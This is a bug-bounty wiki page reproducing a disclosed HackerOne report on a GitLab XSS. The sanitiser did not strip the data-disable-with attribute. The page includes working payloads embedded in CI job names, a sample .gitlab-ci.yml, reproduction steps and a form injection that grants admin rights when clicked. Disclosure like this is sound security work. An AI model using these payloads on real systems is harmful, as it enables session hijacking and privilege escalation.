Skip to content
XSS Disclosed report Intermediate

XSS: `v-safe-html` is not safe enough

The v-safe-html directive's sanitiser did not strip the data-disable-with attribute, which Rails-ujs uses to insert HTML when a link is clicked. An attacker could inject a crafted CI job name so that clicking a job error message executes script or, under CSP, submits a form to escalate to admin.

yvvdwf Follow

Originally disclosed on HackerOne

High 7.3 View original
  • Triaged in 6 days
  • Fixed in 2 months
  • Paid in 37 days
  • Disclosed after 6 months

v-safe-html directive uses Dompurify to remove data-remote', 'data-url', 'data-type', 'data-method' attributes from HTML tags. Rails-js relies on another attribute, data-disable-with to show a HTML content when an user clicks on a disabled link.

For example, the following text will bypass the sanitization and popup an alert when an user clicks on the link (which is a transparent topmost layer since the sanitization allows also style and class attributes):

HTML
<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">'

An exploitation can be done via jobs' error messages which contain CI job names which are provided by users.

Steps to reproduce

  1. In an existing project or create a new one, add .gitlab.ci file with the following content:
YAML
'1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">':
  stage: build
  script: echo "hi"

'2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>':
  stage: build
  script: echo "hi"

trigger-xss:
  stage: test
  script: echo "hi"
  dependencies:
    - '1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">'
    - '2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>'
  1. Go to CI/CD/Jobs tab and wait for the CI jobs finished

  2. If you are testing on a local instance without CSP protection, click on detail of the job 1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">, then click on the trash button on the right literal bar to Erase job logs and artifacts.

  3. Go back to the job list, click on trigger-xss link to view the detail of this job. Then click on Retry button on the right literal bar to retry the job.

  4. An error message appears: This job could not start because it could not retrieve the needed artifacts: 1. XSS when no CSP. Click anywher to trigger the alert

Note: on gitlab.com or an instance having CSP protection (with strict-dynamic value of script-src), the inline script, such as onerror or the <iframe srcdoc='<script src=https://gitlab.com/yvvdwf/data/-/jobs/552156057/artifacts/raw/alert.js></script>'></iframe>, will be prevented to trigger. In such a case, we may use <form> tag to trigger arbitrary API requests on behalf of the user, for example, this allows escalate to admin permission when administrator click anywhere 2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>

Impact

XSS allow attackers to perform arbitrary actions on behalf of victims at client side.

Examples

https://gitlab.com/yvvdwf/xss-in-job-dependencies/-/jobs/2498306483

https://gitlab.com/yvvdwf/xss-in-job-dependencies/-/jobs/2498287882

Output of checks

This bug happens on GitLab.com

Impact

XSS allow attackers to perform arbitrary actions on behalf of victims at client side.

The original report as published on HackerOne, by yvvdwf. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

XSS allows attackers to perform arbitrary actions on behalf of victims; with CSP, a form injection could let an attacker escalate to admin if an administrator clicks anywhere.

What the attacker needed

Ability to create or edit CI jobs; victim views job list and clicks; CSP may block inline script

How it was found

  1. Create or use a project and add a CI configuration with job names containing the payloads.
  2. Go to the CI/CD Jobs tab and wait for the jobs to finish.
  3. On a local instance without CSP, open the first job, erase its logs and artifacts, then go back to the job list.
  4. Click the trigger-xss job link, then click Retry.
  5. When the error message appears, click anywhere to trigger the alert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A sanitiser is a tool that removes dangerous parts from HTML before showing it. Here it forgot one attribute that a JavaScript library later turns back into HTML, so a malicious job name could run code when someone clicks. The report also shows a way to make an admin perform actions without script when a security policy blocks inline code.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by yvvdwf

View all

10 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.